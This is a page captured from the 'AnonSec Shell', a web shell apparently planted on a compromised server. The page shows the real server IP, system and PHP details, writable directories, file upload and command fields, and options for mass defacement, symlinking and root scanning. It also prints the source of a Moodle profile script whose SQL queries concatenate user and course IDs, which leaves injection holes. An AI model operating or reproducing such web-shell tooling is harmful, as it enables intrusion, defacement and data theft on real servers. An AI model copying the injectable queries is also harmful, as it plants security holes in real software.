AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/scripts/perfil.php
<?php
//@sucerman
//Funcion Principal
//ini_set('display_errors', 1);
//error_reporting(E_ALL);
require_once(dirname(__FILE__) . '/../config.php');
session_start();

//Funcion que retorna si un usuario tiene un rol en el curso
function esDocente($userid,$courseid){
    global $DB,$CFG;
    $sql = "
SELECT  DISTINCT u.username as usuario, u.firstname as nombre, u.lastname as apellidos, u.email as correo, u.id as userid, (select j.id from mdl_context j WHERE j.instanceid=u.id AND j.contextlevel=30) as contextid
FROM mdl_user u
JOIN mdl_role_assignments a ON (a.userid=u.id)
JOIN mdl_context t ON (t.id = a.contextid)
JOIN mdl_course c ON (c.id =t.instanceid)
WHERE c.id = ".$courseid."
AND t.contextlevel= 50
AND a.roleid = 3
AND u.id=".$userid;
    $result= $DB->get_records_sql($sql);
    if(!empty($result)){
        foreach($result as $res){
            return true;
        }
    }
    return false;
}

require_once('utilidades.php');

//Script principal
//PARAMETROS DE BUSQUEDA
global $CFG, $USER, $DB;
$usuario=$_SESSION['USER']->username;

if(isloggedin()){//si esta logeado
    $html="";
    $etiqueta_enlace="Enviar mensaje";
    #-----------------------------------------------------------------------------
    # Arma la instruccion para consultar las categorias 
    # exceptuando la categoria 5 herramientas de comunicación general
    #-----------------------------------------------------------------------------
    $sql=" 
SELECT  DISTINCT u.username as usuario, u.firstname as nombre, u.lastname as apellidos, u.email as correo, u.id as userid, (select j.id from mdl_context j WHERE j.instanceid=u.id AND j.contextlevel=30) as contextid
FROM mdl_user u
WHERE u.username='".$usuario."'";
    //Ejecuta la consulta en la BD
    $result= $DB->get_records_sql($sql);
    if(!empty($result)){
        foreach($result as $res){
            $userid=$res->userid;
            #-------------------------------------------------
            # Consulta la foto de perfil
            #-------------------------------------------------
            $url_foto = getImagenPerfil($res->userid,'f1');
            $url_perfil =$CFG->wwwroot."/user/edit.php?id=".$res->userid;
            $url_cambiar_contrasena = $CFG->wwwroot."/login/change_password.php?id=1";
            //perfil
            $html.='
            <div class="row">
                <div class="col-5 perfil__imagen">
                    <a href="'.$url_perfil.'" class="foto text-center">
                        <img class="img-responsive rounded-circle" src="'.$url_foto.'" alt="Foto '.$res->nombre.' '.$res->apellidos.'" />
                    </a>
                </div>
                <div class="col-7 perfil__enlaces">
                    <a class="perfil__nombreUsuario" href="'.$url_perfil.'">'.$res->nombre.' '.$res->apellidos.'</a>
                    <ul class="list-unstyled">
                        <li>
                            <a class="perfil__cambiarContrasena" href="'.$url_cambiar_contrasena.'">Cambiar contraseña</a>
                        </li>
                    </ul>
                </div>
            </div>
        ';
            #-------------------------------------------------
            # Consulta cursos matriculados del usuario
            #-------------------------------------------------
            $sqlCursos="
SELECT distinct c.id, c.fullname, COALESCE(r.shortname,'No matriculado') as rol , t.id as contextidcourse
FROM mdl_user u
JOIN mdl_role_assignments a ON (a.userid=u.id)
JOIN mdl_role r ON (r.id = a.roleid)
JOIN mdl_context t ON (t.id = a.contextid)
JOIN mdl_course c ON (c.id =t.instanceid)
WHERE t.contextlevel= 50
AND u.id=".$userid."
ORDER BY c.id desc";
            $html.='<button class="btn btn-primary perfil__misCursos" type="button" data-toggle="collapse" data-target="#misCursos" aria-expanded="false" aria-controls="misCursos">
            Cursos Matriculados <i class="fa fa-sort-desc fa-3" aria-hidden="true"></i>
            </button>
            <div class="collapse" id="misCursos">
              <div>';
            $resultCursos= $DB->get_records_sql($sqlCursos); 
            if(!empty($resultCursos)){
                foreach($resultCursos as $curso){
                    $idCurso=$curso->id;
                    $urlCurso=$CFG->wwwroot.'/course/view.php?id='.$idCurso;
                    $nombreCurso=$curso->fullname;
                    $html.='<div class="curso">
                        <a href="'.$urlCurso.'" >'.$nombreCurso.'</a>
                    </div>';
                } 
            }else{
                $html.='<div class="curso">
                        No tienes cursos activos
                </div>';
            }
            $html.='</div>
            </div>';           
        }//Fin Foreach
    }
    echo $html;
}
?>

Anon7 - 2022
AnonSec Team